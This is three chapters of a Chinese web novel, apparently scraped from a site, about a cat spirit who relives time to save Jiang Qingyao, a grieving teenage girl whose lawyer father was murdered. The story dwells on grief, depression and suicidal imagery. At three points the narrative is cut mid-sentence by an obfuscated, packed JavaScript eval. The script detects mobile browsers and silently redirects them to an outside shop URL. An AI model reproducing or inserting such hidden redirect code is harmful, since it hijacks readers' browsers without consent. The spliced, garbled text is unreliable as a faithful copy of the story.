《与岁书[救赎]》 1. 01.青苔 “滴。” 道观门口闸机的灯光从红色变成绿色,皮肤褶皱如玉米皮的手轻轻推开闸机的三轮。邵远年缓缓迈过闸机,踏入了道观。但是他没有像平常来的游客那样直接奔向要拜的殿、想摸的猫猫狗狗,而是打开了手机的备忘录——“进去的时候,左门先迈左脚,右门先迈右脚。切忌走中间的门。” 他来祈福求愿。 活了人的八辈子,邵远年还是第一次进道观这种地方祈福求愿。按照人的道理来说,他能转世成人形的时候就应该来这种地方烧香还愿了。他是不信这些的。但是他愿意为了姜青杳去信这些。 雨滴滴答答地下,石阶上开出各色各样的伞,最明显的是邵远年那红得似杜鹃花的伞。邵远年带着潮湿的气息,缓缓走到最高的那座殿的台阶下,任雨滴滴答答落在他的脊背上。正准备抬起脚走向网上说的最灵验的殿时,他想起来想要愿望实现最好“一步一磕头跪拜”。 邵远年拨弄了一下自己左手无名指上用姜青杳的骨灰烧制而成的戒指,收起它放在了口袋里,然后双膝下跪。黑色的长裤沾上了泥泞,白色的衬衫被雨渍打湿透,宽大的手掌撑在青苔零零散散的台阶上,潮湿黏腻的泥泞沾满他的膝盖和手掌,可他还在继续一步一磕头跪拜,毫不在意泥泞。 等到最后一层阶梯,邵远年已经分不清脸上是他的泪水还是他的血液,又或者是—— 他的思念,他那愁苦的黏稠的绀色的思念。 “滴。” 擦去掩藏在手掌纹路里的泥泞,邵远年收起了手帕,用手机扫了扫木箱上的二维码。 他看着手机扫码出现的界面,发现上面可以写供奉香火的人的名字,还有想说的话。 便毫不犹豫地输入了“姜青杳”的名字——“姜青杳,岁岁平安。” 大殿内响起摇掷签文和木桶相互碰撞的声音,一下又一下,邵远年的心也一下又一下地碰撞。想要祈福求愿的话在木桶和木签摇晃的声音中被摇散,他的心像是被打散的蛋黄摇晃在瓷器里,大脑空白得如同一面光滑的白瓷勺——“哗——哗——”的声音终于停止,他手颤抖着拿出一根签文。 「第三十八签,饥人遇食。」 - 2009年,10月,启明市。 潮湿黏腻的汗渍、高挂日空的烈日、遮光性并不是很好的蓝色窗帘和白色纱布在和煦的风下翻涌,这就是姜青杳记忆里的国庆。但现下的气候,和记忆里的国庆并不相同,倒更像是十月末十一月初那连绵的雨季。按道理,国庆长假一般来说都是大晴天,但是意外的,从十月二号晚上那天起就连续下了好几天的阴雨,好不容易因为升温热起来而换的短袖,也因为这几天的阴雨变成了衬衫外套加短袖,直到今天才堪堪变成小雨。风凉凉的,阳光似乎也只是起了照明的作用。 “2009年10月2日下午17时许,一男子进入龙泉区长脉路将群众叶某击伤后逃逸,当地公安机关迅速开展追捕,于18时20分将李某(男,39岁,启明人)抓获。经初步调查,李某交代,是因纠纷对叶某不满遂行凶。伤者经送医院救治无效死亡。”老旧的电视机沙沙地播放着这段时间的“旧闻”。 姜青杳穿着一身黑色的丧服,头发被一丝不苟地高高盘起,胸口别着一朵白花。 正低着头和她的母亲姜蝶一起迎接来参加她的父亲、姜蝶的爱人叶知舟的追悼会的宾客。听到电视机的声音,也只是掀起眼皮淡淡地看了一眼,随后继续垂眸继续机械地给宾客分发白色胸花。 “本台记者已经来到了叶知舟先生的追悼会现场……”声音不大,但咬字清晰的播报传输到姜青杳的耳朵里,强壮镇定的神情被再次强调的“叶知舟先生的追悼会现场”这几个字碰碎。 感受到右手又开始剧烈地疼痛,姜青杳无奈地抿了抿唇:“妈妈,我想去确认一下环节。”还没有等姜蝶说些什么,她就拄着拐杖,像逃跑似地一瘸一拐地进入了大厅。 叶知舟作为启明市有名的刑辩律师,死于刚刑满的李尧手中,这起启明市近二十年以来影响最恶劣的社会新闻已经在启明市的同城媒体报刊上,作为头条报道了好几天,直到现在还在播报。 一时之间,“叶知舟”这三个字像是翻涌的风、朦胧的雨卷过这座城市的大大小小各处。 这座城市各色各样的伞也纷纷聚集在启明市殡仪馆的内部。 人群和黄白色的花圈一起拥挤在潮湿、黏腻的地面上,络绎不绝。 和其他失去了神色的人群一样,邵远年也撑着一把黑色的伞游荡在花香里。 将雨伞上的雨水抖落,邵远年低头接过姜蝶递来的白色胸花,微微鞠躬:“您节哀。” “造孽啊!叶律师年纪那么轻,怎么就遇到这种事!” “谁说不是呢!听说他足足被砍了十几刀!你说说,你说说,这叫什么事情……” 刚和殡仪司仪确认完追悼会流程的姜青杳顺着声音望去不远处的人群。 被围在中间的一个中年男性说到情绪激动的时候还皱起眉,右手高高砸向同样伸开的左手手心上,然后伴着他大大的叹气又很无奈地跺了跺脚。远一点,是一个老人捂着脸失声痛哭,被身旁皱眉同样难过的后辈们搀扶着。再远一点,是胸口别着白花穿着黑色西装的年轻人聚集在一起默默站着,她们的表情,姜青杳看不太清,但是想来应该是律所的后辈们。 “……这样,谢谢您,我没有别的疑问了。” 待邵远年找到姜青杳的时候,姜青杳还在和殡仪司仪说着话。 纤细瘦弱的身躯露出来的几片肌肤惨白如白墙,只有露出来的红唇才显得出来这个人尚有些活在人世间的血色。本就细瘦的身躯在拐杖的帮助下显得更加单薄,似乎一小缕风都能将她吹散。 他悄悄用手比着远处姜青杳的身形,然后在心里叹讶。曾经小小的姜青杳,已经因为身高优势成为一株直挺挺的,绿翠的小树。清清冷冷,像是启明市的冬天,带着潮湿的气息。 他已经很久没有见到活生生站在他面前的姜青杳了。 姜青杳,他的妻子,最终会在2019年10月02日永远地离开他。 他寻找过许多办法,但是属于姜青杳的命运齿轮总是会因为各种原因生锈,生锈到她二十五岁生日那天,然后彻底地停止运转。而属于邵远年的人生进度条还在不停前进、前进。 这是他尝试挽救姜青杳的第九次。 - 在启明市有一个习俗,送往生者去火化间的路上人越多,往生者走得就越快。 但叶知舟是西北人,小的时候就没有了双亲,是吃百家饭长大的,长大后又选择离开了西北,来到启明市读大学,也就此结识了姜蝶,和她结了婚。叶知舟去世后,姜蝶昏迷住院的那段时间里,家里没有任何人来往,没有电视剧里的家产争夺之战,也没有让人厌恶的鳄鱼的眼泪,姜青杳就在那样短暂的一周里捏着自己这一周的生活费——两张十块的人民币捱过来了。 邵远年也知道,叶知舟没有什么亲人,能够留下来陪姜青杳她们的人不多。 想了想,他默默跟在姜青杳和姜蝶的身后,目送叶知舟被推进火化间。 “吱呀——”厚重的、生了锈的大门被工作人员关上。 望着被重重关上的门,姜青杳突然想到了以前。 以前,叶知舟就喜欢和姜青杳说他这辈子最不后悔的就是成为律师。 他还常常说,要成为律师,最不能缺少的就是法律的良心。 姜青杳曾经问过“什么是法律的良心”这个问题。 叶知舟想了半天,最终还是找出来了应松年在书中写的话,“对于法律所要实现的公平与正义的牢固的、不易为外界的威逼利诱所动摇的正义观与正义感,就是法律的良心。” 本想让她自己去理解其中的含义,却发现年仅十岁的她还不足以去理解这段话的重量,便笑着摸摸她的头,说:“岁岁成为律师就会明白了,这是每个法律人都会拥有的。” 后面的内容渐渐模糊了。 是否是每个法律人都拥有法律的良心,她不知晓。她只知晓叶知舟一生都在为社会做贡献,一生都秉持着法律人的良心公正司法,哪怕是在生命的最后一刻,也是如此。但是,这真的值得吗? 就像是冬日里美丽的雪人迟早会融化,哪怕“叶知舟”的名字像是漫天飞雪笼罩过这座城市的各个角落,但是那也只是一时的,可是失去父亲和爱人的潮湿会是她和姜蝶一生的伤痛。 望着厅内的花圈和挽联,姜青杳愤恨地擦去了眼眶里溢出的泪水。 - 骨灰的火化需要一定的时间,她和姜蝶被工作人员指引到了休息间。 坐在姜蝶身旁的姜青杳怔怔地看着她的脸发呆,想起来她去医院隔着玻璃看望姜蝶的时候,只有滴答滴答的仪器和病房外同病人轻声交谈的医生,还有时不时亮起来的走廊尽头的灯。 而她,就只能看到姜蝶那扎着留置针的手那样的纤弱苍白,本该在舞蹈室尽情舞蹈的手被缠满了绷带一圈又一圈,圆润有气色的脸在这短短几天里,像是干瘪的柑橘皮,仿佛扒开她的柑橘皮就能看到里面丝毫没有一点水分的果肉,也那样的干枯停滞在那没有了生气。 时间滴滴答答地流逝着,挂在休息室那的LED灯的红字变化着,姜青杳感觉一股说不出来的闷压在自己的胸口,就像是高压锅的气阀没有被打开,她愤怒、自责、痛苦的情绪在锅内煎熬着。 “我想出去走走,妈妈。”姜青杳感觉心脏压抑得难受。 “行,路上小心路滑。”神色疲惫的姜蝶点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在姜蝶昏迷的那一周里,常常,姜青杳会怀疑“叶知舟”这个人是否真的存在,“叶知舟”是不是她的臆想呢?没有人能够和她说说话,抱抱她轻拍着她的背和她说说“叶知舟”的过往。家里总是静悄悄的,姜青杳最多的事情就是站在洗漱间的镜子前,摘下眼镜俯身靠近那面巨大的洗脸镜,轻轻抚摸自己脸上肌肤的每一寸,到眼角那两颗泪痣的时候再停顿——这两颗痣是血缘的纽带。 那一周里,姜青杳只是将自己的换洗衣物和妈妈爸爸的贴身衣物清洗,没有清洗10月2号当天和前一天姜蝶和叶知舟堆积的外衣——如果她最终只会是一个人,她可以通过她们衣物的气息怀念她们。害怕的时候,她就躺在妈妈爸爸的卧室里的双人床上,枕着姜蝶的枕头,闻到她也在用的洗发水的味道,蜷缩如同一只白灼的基围虾那样在姜蝶和叶知舟的被子里。她不敢在她们的床上哭泣,她害怕自己的泪水和气息会淡化了妈妈爸爸的味道,那样,她就怎么也无法捕捉到她们的存在了。 追悼会的时候她常常盯着叶知舟紧闭的眼睛愣神。躺在花丛间的叶知舟被入殓师修复得很好,和她记忆里的叶知舟没有什么太大的区别,只是双眼再也不会睁开了,皮肤也冰冷得吓人。 “啪唧。”姜青杳重重踩死了那只她看着的蜗牛,好像这样,她脑内一直“咔哒”“咔哒”播放交替的磁带机就会被踩停。看着破碎在自己面前的蜗牛壳,她又想到了那天破裂在自己身/上的叶知舟。 “呕。”脑内“咔哒”“咔哒”交换的血腥画面仍在继续,姜青杳没忍住呕吐了出来。 “啪嗒”“啪嗒”,混杂在蜗牛壳里的透明的液体泛起了涟漪,一圈又一圈,是姜青杳的眼泪。 “用这个擦擦吧。”正用衣袖胡乱擦着自己眼泪的姜青杳突然听到邵远年的声音,她愣愣地抬头看向比自己高很多的邵远年,发现是前不久才遇到过的好心人。他又一次递给了她需要的东西。 一张水蓝色的手帕。 “再次谢谢您,”姜青杳接过水蓝色手帕擦了擦脸上的泪水,“我能询问您要一个联系方式吗?” 意识到自己的话有些搭讪的意思,她又慌忙摆摆手:“呃不,我的意思是,手帕有点脏了,我打算洗干净再还给您。”慌乱说话的姜青杳就这样听到邵远年好听的笑声:“可以,你有手机吗?” “抱歉,电子邮箱可以吗?”姜青杳有些无措地捏了捏自己的衣角。 她也是说完才想起来自己并没有手机,也没有手机号。 也不知道这样过于老套、旧时的联系方式,对方会不会觉得很麻烦? “嗯,可以。”没想到邵远年点点头,拿出夹在领口的钢笔和白纸。 姜青杳有些惊讶,这个年头居然还有人会随身携带钢笔和纸。 然后她就看着邵远年快速写完一串他的联络方式,接过了它。 2. 02.生姜 姜家老宅。 哗啦啦的翻书声在偌大的房间里响起,披着毛毯坐在书桌前的姜青杳并没有什么心思看书,繁乱的心绪像是被打乱的毛线框,各种各样的思绪交缠在一起,乱七八糟的,只能吁吁叹口气。 姜青杳抬眸看着庄园外被细碎的雨帘笼罩的城市,以及远处茂密的树林和间隔距离不算特别近的一座座庄园,这座城市被雨冲刷后,显得越发的冥萌。再度骤降的气温,说着秋季的到来。 “阿嚏!”不知道是打的第几个喷嚏了,姜青杳揉了揉鼻子。 昨天叶知舟的骨灰撒在树葬试验区后,姜蝶就带着她回家清理东西,说着什么要去外公家生活了,然后她就跟着回到了姜家老宅。她并不知道妈妈和外公的关系究竟差到何等地步,但是至少很糟糕——因为她活了十五年才知道她还有个外公,外公还是启明市姜氏集团的掌权人。 今天依旧在下雨。 风呜呜地吹,卷起海浪似的蓝白色窗帘,汹涌地打在窗台上。姜青杳抬手捂住了被风吹乱的刘海,站起身来俯身靠近窗台,将窗户的缝隙开得小一点。很快,海浪停止,她的心湖却掀起波澜。 想起来了,昨天晚上在树葬试验区见到的那个好心人的手帕还没有还。 从放在桌子上的包包里拿出来水蓝色的手帕,发现上面还有着一朵花的刺绣。原本带有的柑橘甜和茶香的香水味被洗衣粉的味道替代,眨了眨眼睛,姜青杳滑动椅子的滚轮,打开了电脑。 登陆了□□账号,姜青杳打开□□邮箱,输入了邵远年留下来的一串联系方式。 因为不知道对方究竟是什么身份,她一边思考着一边咬着手指的指甲斟酌该如何用语,盲打键盘的手一会儿快速打着字,一会儿又按下删除键疯狂删除前面没说好的话,时间就这样过去了。 「您好!感谢您昨天借给我用的手帕,我已经洗干净了。」 「请问您能给我一个地址吗?我好将手帕还给您。」 「姜青杳,留。」 担心又焦虑自己没有说得更礼貌一点,姜青杳闭着眼睛点了发送,然后就关掉了电脑。电脑屏幕一关,屋外黑漆漆的夜就这样钻到了偌大的屋内,显得黑黢黢的,姜青杳摸索着找灯的开关。 “咔哒。”姜青杳拉了拉台灯的线。 暖黄色的灯光将房间照亮,她窸窸窣窣走着翻找爱德华·勒维的《自/杀》的影子,像是一副默片在白墙上静静上演。这本书是前几天偶然在书店发现的,放在破旧的角落,她看了喜欢便买了。 “一天,我看见你在落日时分孤独地思考。你一动不动,呆呆的。就是在遍地沟壑陷阱的大森林里跑上几公里,也不会让你这样疲惫”这段是她搬家前在书上用水珠笔划下了波浪线的句子。 她怔怔地看着这段话出神。 这种僵硬的感觉,让姜青杳想起来这段时间对着镜子擦拭自己皮肤的感觉,明明触碰的是自己的皮肤,但是却觉得这样的触感陌生而冰凉,像是在触碰商场里货架上的假人偶的肢体。 这让她常常望着镜子发愣,直到她的眼神失焦,所有的一切像是数学课上困顿的笔记。 接着,没有由来的悲伤就会汹涌地笼罩她。 就像是要将她扼/死在悲伤的海洋里,她越奋力挣扎却被周围的海浪拍打、席卷,直到彻底被吞噬。她完全不知道怎么去处理这样的感觉。她能做的好像只有默默地流泪,不去挣扎不去反抗、顺从地流泪。她也不是没有想过去抵抗,去反击这一切的负面情绪,却每次好像只是打在了棉花上。 当她想要走出这个困境,想要撕破眼前遮盖住她的网,双手却被网牢牢地粘住,无法前行。 或许,将由愧疚、痛苦、悲伤以及懊悔这些构成的缠绕住她心房的藤蔓放一把大火烧掉,她的心脏就会再一次炽热地跳动。但是,她无力的像是在雨里无法点燃一把属于自己的篝火的流浪者。 “砰砰。” 奇怪的声响让发愣的姜青杳回过神来,失焦的眼神还没来得及聚焦发出声响的窗户,下一声“砰砰”的声音就继续响起。有些摸不着头脑,姜青杳眨了眨眼睛,下意识地掀开了蓝白色窗帘。 邵远年本打算继续用爪子敲打窗户吸引姜青杳的注意,第三次抬起猫爪的时候,“刷啦”一声窗帘就这样掀开了,他就这样用着幽绿色的瞳孔讷讷看着屋内有些疑惑的姜青杳。反应过来的邵远年放下了猫爪,端正地蹲坐在窗台,尾巴竖得高高的像是挺立的天线——“呜喵!” 这在猫猫和人类的沟通语言学里,一般可以理解为打招呼,想要人陪猫玩的意思。 6岁那年,姜青杳短暂地养过一只小猫,黏黏总是会腻歪地黏在她身旁这样叫。 仔细一看,这只大肥猫,像极了黏黏长大后的翻版,但是是超级加倍的那种。 见姜青杳怔怔看着没反应,邵远年又用爪子掏了掏窗户露出来的一点缝隙:“呜喵!” 虽然不知道是哪里来的大肥猫,但是看起来可爱又亲人,姜青杳将窗户打开了。 “哗啦啦——”窗外骤起的飓风吹得她书桌上的书哗哗奏响。 意识到从包里拿出来的水蓝色手帕还孤苦无依躺在桌子上,担心它被吹跑的姜青杳忙回头去找。但是那只猫在窗户打开后就盯上了飞舞起来的手帕,直接一个弹射起飞,跳起来叼住了吹得像是海浪的水蓝色手帕,然后竖着蓬松的黑色尾巴高高兴兴地跑走了,剩姜青杳在那目瞪口呆。 “我的手帕!”姜青杳惊讶地看着这一两秒内发生的事情,小声惊呼道。 大肥猫的身影很快消失在阳台的转角,姜青杳低头穿好拖鞋就推开阳台的门追了出去。 刚追出阳台门,剧烈的风吹得她抬起手遮挡了一下飞悬起来的灰尘。再抬起手的时候,姜青杳发现那只叼了水蓝色手帕的猫正蹲在这条走廊的尽头静静地看着她。没多想,她追了过去。 大肥猫见姜青杳追了过来,更高兴地炸开了蓬松的尾巴,像是在玩躲猫猫一样跑远了。 就像是引路。 姜青杳出来得急,没有拄拐杖。不过好在她的腿只是轻微的韧带撕裂,休息了一段时间已经好多了,现下也可以勉强不用拐杖走路。只是这样的速度去追那只大肥猫,相对有些慢了。 哒哒的脚步声带亮了走廊的声控灯,少女努力地快步走着。 “砰!”闷闷的碰撞声响起,姜青杳有些晕乎乎地捂着额头。 缓过神来的她,眼睛和黑暗里一双幽幽的绿色眸子对上视线。 猫成精了。 “啪嗒。”故意将姜青杳引过来的邵远年打开了走廊拐角处的灯。 暖黄色的灯光洒在两个人的头顶,照亮了姜青杳的视线,眼前被大面积的灰鹅色针织衫遮盖。往后退了几步,姜青杳才讷讷地仰头看到撞到的人的全貌,认出是那天在追悼会上遇到的好心人。 视线下移,发现那条被猫叼走的水蓝色手帕正被邵远年拿在手里,幽幽的,像是水母。 “是你?”姜青杳对应上号,有些讶异地看着有些熟悉的绿色瞳仁道。 她的话音刚落,就听到头顶发出一声清朗的笑声。 “岁岁,你还是没有认出来我啊。” - “谢谢。”姜青杳有些局促地接过邵远年端过来的生姜可乐。 她不太爱生姜的味道,总觉得呛鼻,也不喜欢热的可乐,觉得少了气泡。但是两者结合在一起的生姜可乐她很喜欢,天气冷了总是吵着要喝。望着生姜可乐的倒影,姜青杳仿佛回到了6岁那年。 “妖怪!妖怪!打他!”潮湿拥挤的胡同里闹着几个男童朝角落里的人丢砸东西。 “叮叮——”胡同里响起来自行车的声音,男童们纷纷望去声音传来的地方。 叶知舟骑在自行车上皱眉看着眼前的霸/凌,怒斥:“你们是谁家的?” 胡同里的人或多或少知道叶知舟是律师,家里的小孩也知道叶知舟身份特别。 见是叶知舟这个不好惹的大人出来阻止了,几个男童一哄而散。 “你没事吧?”叶知舟微微俯身,望向角落里穿着破破烂烂还有补丁的邵远年。 吞咽了几口口水,邵远年眼睛直直盯着叶知舟车篮子里面的馒头和花卷。 他已经好几天没有吃饭了,刚刚就是翻垃圾桶找吃的时候被人发现追着丢砸东西。 “爸爸,他是不是饿了。”站在叶知舟身后的姜青杳扯了扯他的蓝色雨衣。 “……饿。”邵远年有些口齿不清地蹦出了一个字。 他刚化形没多久,还不太熟悉人类的世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661690|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界。 望着和自己刚因为猫瘟去世的小猫一样的绿色眼睛,姜青杳拿着车篮子里的塑料袋慢慢走到了邵远年面前,然后又蹲在他眼前,把塑料袋打开给邵远年看:“哥哥,你看看你喜欢吃哪个?” 左脸的黑痣比塑料袋里的食物更吸引他的目光。 他还小小的时候,被姜青杳抱在怀里,常常看着她左脸的黑痣发呆。 “……”见邵远年看着自己的脸发呆,姜青杳皱了皱眉,转头对着叶知舟喊,“爸爸,他是不是这里有问题?”说着,姜青杳还回头对着叶知舟抬手指了指自己的太阳穴表示疑惑。 “难说。”叶知舟也觉得邵远年看起来呆呆的,明明看起来已经是上小学的年纪了。 两个人大眼瞪小眼,遇到了刚下班回来的姜蝶:“愣着干嘛?把人先带回家再说!” …… 电话那头还在和叶知舟絮絮叨叨说着些什么,淋了雨的姜青杳和邵远年就站在吹风机前头,一边被姜蝶用着大大的毛巾擦拭头发和露出来的肌肤,一边用吹风机吹干她们湿透的地方。 厨房内的水壶正在咕噜咕噜冒着泡泡,姜青杳闻着味道就知道是妈妈在煮生姜可乐了。待头发吹干,姜青杳就眼巴巴看着铁水壶倒出来的褐色饮料,迫不及待地拿着杯子小小抿了一口。 邵远年见过这个饮料,但是他记得他当作黏黏的时候经常听到姜青杳说:“小猫是不可以喝这个的,会死掉的!”于是他就缩在熟悉的沙发角落里,看着桌面上属于他的那杯生姜可乐。 见旁边的邵远年惨兮兮地缩在角落里,姜青杳想起了黏黏刚来家里的样子。 “这是生姜可乐,好喝的。”姜青杳拿起邵远年的那杯,将饮料递到他手上。 待两杯生姜可乐喝完,叶知舟的电话也打完了。 姜蝶听到叶知舟挂了电话,急忙站起身问:“警/察/局那边说是什么情况?” 摇了摇头,叶知舟惋惜地说:“说是双亲因为车祸去世了,只剩下他还活着,就是对门那家。” “那,那怎么办?”姜蝶看着穿着破旧衣服的邵远年心疼地问。 “就当多一双筷子吧。”叶知舟思来想去,和姜蝶做了这个决定。 “……再后来,福利院帮我找到了现在的家人。” “等我想再回来找你的时候,你已经搬家了。” 听到邵远年说起自己的近况,发现他这些年过得并不算太差,姜青杳松了口气。 想起来那张水蓝色的手帕,姜青杳才回过神来:“没想到这么巧。” 看着邵远年特别的绿色眼睛,她笑了笑:“当时我就觉得眼熟,但是没想起来。” “我也是后来才想起来的。”邵远年抿了口生姜可乐,淡淡地笑着说。 他细细看着如今十五年岁的姜青杳,和十年后的模样没有太大的差别,少女已经亭亭玉立。 注意到邵远年的目光,姜青杳偷偷用余光观察如今的他,发现原来和自己差不多高的小萝卜头现在已经成长为一株挺立的翠竹。原本的齐刘海现在成了三七分,不知道他的头发是不是还是小时候摸得刺刺的像是小猫舌尖倒刺的沙发。原本有些骨瘦如柴的身子现在成了宽厚有力的身躯,不知道他身后的那条伤疤还有没有痕迹。原本显得人凶凶的剑眉倒是还在,看起来有些生人勿近。 她也没想到兜兜转转,她们又成为了邻居。 手里的生姜可乐慢慢变凉,邵远年说着“我去倒杯新的”便起身去餐桌拿水壶,姜青杳顺着他的移动轨迹盯着他的身形发呆。在家的邵远年只是穿了一件简单的黑色短袖,反而衬得他的肌肤更加白皙,这更让她注意到邵远年作为成熟男性的特征——喉结。她讷讷,突然意识到她们的间距。 她的人生都是阶段性友谊,每到一个新的学校新的阶段,过去的朋友就会像是被时间这道细细的刃切断她们的联络。而她和邵远年间隔了三个三年,她们的相交线早早就过了相交的点。 意识到这点的姜青杳顿时站起身来,就这样和刚拿着新倒的饮料过来的邵远年面对面。 “呃,我,我觉得时候不早了,我先回房间睡觉了。”姜青杳有些尴尬地挠了挠鼻尖。 “咕——”一声不恰时候的饥饿呐喊出现在房间,姜青杳霎时红透了脸。 3. 03.面条 就好像是她们初见的场景身份转换了一样,她成了那个穿着破旧衣服失去了亲人的,躲在角落里的那个人,而邵远年成为了那个从自行车上下来拿着馒头和花卷,询问她是不是饿了的人。 坐在餐桌上,姜青杳望着远处的茶几,上面放着烟灰缸,玻璃在灯光下绽放出五彩的光芒,她很难不注意到那个烟灰缸。而身侧的邵远年正在厨房煮一碗面条,抽油烟机嗡嗡地运转着。 她很难想象,邵远年会抽烟。 姜青杳有些拘谨地将双手合拳抱在一起,双腿紧紧并拢着,就是上小学一年级的时候,她的坐姿都没有这样的标准过。她想到了邵远年的男性特征,夜晚冒出来的一些青茬,说话间滚动的喉结,颀长的身形宽肩窄腰的背影,这些都在告诉她邵远年不再是以前那个小萝卜头了。 虽然小时候她们只是短暂的在一个屋檐下住过半年多点,但是她还是会时常做梦梦到那个她躲在他身后一边尖叫一边看他打蟑螂的小破屋,梦到她们在大人上班的时候偷偷摸摸分柜子里的桃酥,梦到她们一起窝在沙发上看猫和老鼠,然后石头剪刀布去商量谁去翻CD的另一面。 小时候的邵远年的刘海总是乖乖地耷拉在他凶凶的剑眉上面,遮盖住他的浓眉单看他的眼睛,只会觉得骨相俊美,眼睛温柔得像是温化冰块的泉水。而现在的邵远年的刘海是三七分,高眉骨和挺立的鼻梁显得他的棱角更加冷峻分明,在没有表情的时候显得愈发的凶。 八个月的时间在九年的时间线上就像是不起眼的小点,她们已经过了相交的那个点了。想到这里,姜青杳有些尴尬地用大拇指摩挲着虎口,紧紧盯着自己眼前的黑色餐桌祈祷时间快快走。 直到邵远年端着那碗刚煮好的青菜鸡蛋面出来,姜青杳的祈祷才被碗和餐桌接触的声音打断。 感觉到姜青杳有些拘束,他抿了抿唇,从旁边的柜子里拿出一包烟,然后抽出来一根:“我去外面抽会儿烟,你慢慢吃。”说着,邵远年晃了晃夹在两根手指之间的烟,转身出了阳台。 姜青杳扭头,悄悄观察着走出阳台的邵远年,然后她听到了“咔哒”那声打开打火机的铁器的开合声,接着就是阳台玻璃门被轻轻拉上关闭的滑动声,玻璃隔绝了点燃的烟蒂将要带来的烟雾。 屋外的星火点点,映在邵远年的侧脸上,精致的五官显得他更具成熟男人的魅力。 察觉到姜青杳在悄悄看他,邵远年转过身背对她,假意自己在抽烟。 他看着两根手指夹住的烟,橙橘色的星火在他的手指间燃烧,屋外的风呜呜,猛烈地咳了咳。 看到邵远年背过身后,姜青杳才低头看着面前的面碗。 碗是中号的碗,像是知道她胃酸过多夜里吃多了会增加胃的负担似的,特意准备的小一点的碗。圆圆的煎鸡蛋盖在宽面条上面,鸡蛋上面又格外撒了很多她喜欢的葱花,周围点缀了一些被炒过的再下锅的青菜,就这样装满了满满一碗。姜青杳有些讶异,她没想到他还记得她的特殊口味。 她今天并没有吃多少饭,陌生的环境下长长的桌子、身后站着的一堆堆佣人,她难以下咽,甚至是难以呼吸。短暂的两顿饭,她吃得食不知味,只是草草喝了几口汤吃了几口菜。 但是这一切,姜蝶似乎都没有注意到。 于是她更难过了,在夜晚里,她的悲伤蔓延,包裹住她酸涩的梦。 就像是大风吹着她的脸,像是塑料袋覆盖住她的脸,让她难以呼吸地包裹住她。 这让她重新见到邵远年的心,像是在湖里淘到了丢失的平安符那样失而复得。 但是很快,她的心被打成破碎的玻璃,仅仅是因为邵远年和她完全不同的身体特征,这让她警醒她们再也不是以前那个能够一起窝在被窝里看电视的关系了。可是矛盾的她,又在这碗青菜鸡蛋面被端上来后潦草地被粘合成一面玻璃,因为这碗他还记得她的特殊口味的面。 她应该和邵远年道谢的,所以她拿起筷子前双手合十,轻轻说:“谢谢,我开动了。” 事故发生的那段时间里姜蝶一直昏迷。 作为家里唯一清醒的人,姜青杳身上又没有多少钱,只好提前将姜蝶放在抽屉里的下一周的生活费拿出来,但也只是二十块钱。她并不知道这样的日子会持续多久,为了省钱,她的三餐有两餐都是馒头配稀饭,晚上就是拿着冰箱里的一点剩菜炒个菜,然后就着米饭吃,她的能量就充满了。 应该说,这是她这段时间以来吃过最好吃的饭。 不知道要在这样陌生的环境里警惕多久,她感觉到恐慌和害怕还有不安。 想到这里,她的眼泪滴入面汤里,和带着一点点油的汤面格格不入的液体滴入,但是很快就像是投入湖泊里的石子那样淹没了,姜青杳感觉自己的身体也在下沉,她感觉自己疯狂到窒息。 邵远年等身上的烟味散去,将烟头丢进了屋外的垃圾桶里,用水洗了洗自己带着一点烟味的手才打开阳台的玻璃门——他知道,姜青杳厌恶烟味。但同时他也想不明白,为什么她会在难过的时候点烟。直到他刚刚带着复杂的心情点燃了烟,假意抽烟实则给她空间的时候,他才明白一点点。 他打开玻璃门的时候,就看到姜青杳躺在地上,像是一只蜷缩的白灼基围虾。 “岁岁?”邵远年慌忙地大步走过去,然后将以为昏倒的姜青杳扶起来,让她靠在自己的怀里。感觉到她的身体在冰冷地颤抖,他想到了那个该死的早晨,他颤抖着手抚摸着她有些烫的脸。 “你发烧了。”邵远年松了口气,然后准备将姜青杳抱起来送她回房间,并告知佣人照顾。 “玛雅人预言的世界末日……提前在我十五岁生日这一天降临了。”姜青杳痛苦地流泪。 她感觉自己的世界眩晕,像是游荡在绿皮火车的卧铺车厢里,她摇摇晃晃。她感觉自己的容器破裂了,她像是放在水瓶里肿胀的海绵宝宝,在不合时宜的容器里发胀、破裂,直到容器也破碎。 刚将姜青杳扶起来的邵远年愣了愣,熟悉的话像是一道霹雳打向他的心脏。 「玛雅人预言的世界末日,提前在我十五岁生日这一天降临了。」 「被烈火炙烤后的骨灰静静躺在几十公里外的土地里,会寂寞吗?」 这是姜青杳日记里的首页和末尾的话。 在第二句话后,世间再无“姜青杳”,寂寞留给了“邵远年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661691|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。 “……不,不会的。”邵远年有些慌张地用手擦去她眼角不停流下的眼泪。 像是一捏就会哭出苦涩的汤汁的灌汤包,像是小小的、紫色葡萄皮下包裹的软嫩的、青色的果肉,更像是飞到高空中的气球,他感觉怀里的姜青杳轻轻一触碰就要破裂在潮湿的空气里了。 